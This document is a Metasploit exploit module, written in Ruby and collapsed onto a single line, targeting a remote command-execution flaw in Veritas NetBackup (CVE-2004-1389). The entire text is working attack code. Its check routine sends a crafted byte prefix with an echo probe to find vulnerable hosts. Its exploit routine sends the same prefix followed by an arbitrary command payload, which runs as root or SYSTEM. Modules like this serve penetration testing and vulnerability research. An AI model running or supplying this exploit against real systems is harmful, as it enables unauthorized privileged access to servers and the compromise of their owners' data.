## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'VERITAS NetBackup Remote Command Execution', 'Description' => %q{ This module allows arbitrary command execution on an ephemeral port opened by Veritas NetBackup, whilst an administrator is authenticated. The port is opened and allows direct console access as root or SYSTEM from any source address. }, 'Author' => [ 'patrick' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2004-1389' ], [ 'OSVDB', '11026' ], [ 'BID', '11494' ] ], 'Privileged' => true, 'Platform' => %w{ linux unix win }, 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 1024, 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet', } }, 'Targets' => [ ['Automatic', { }], ], 'DisclosureDate' => 'Oct 21 2004', 'DefaultTarget' => 0)) end def check connect sploit = rand_text_alphanumeric(10) buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\necho #{sploit}\n" sock.put(buf) banner = sock.get_once disconnect if banner.to_s.index(sploit) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect sploit = payload.encoded.split(" ") buf = "\x20\x20\x201\x20\x20\x20\x20\x20\x201\n" buf << payload.encoded buf << "\n" sock.put(buf) res = sock.get_once print_status(res.to_s) handler disconnect end end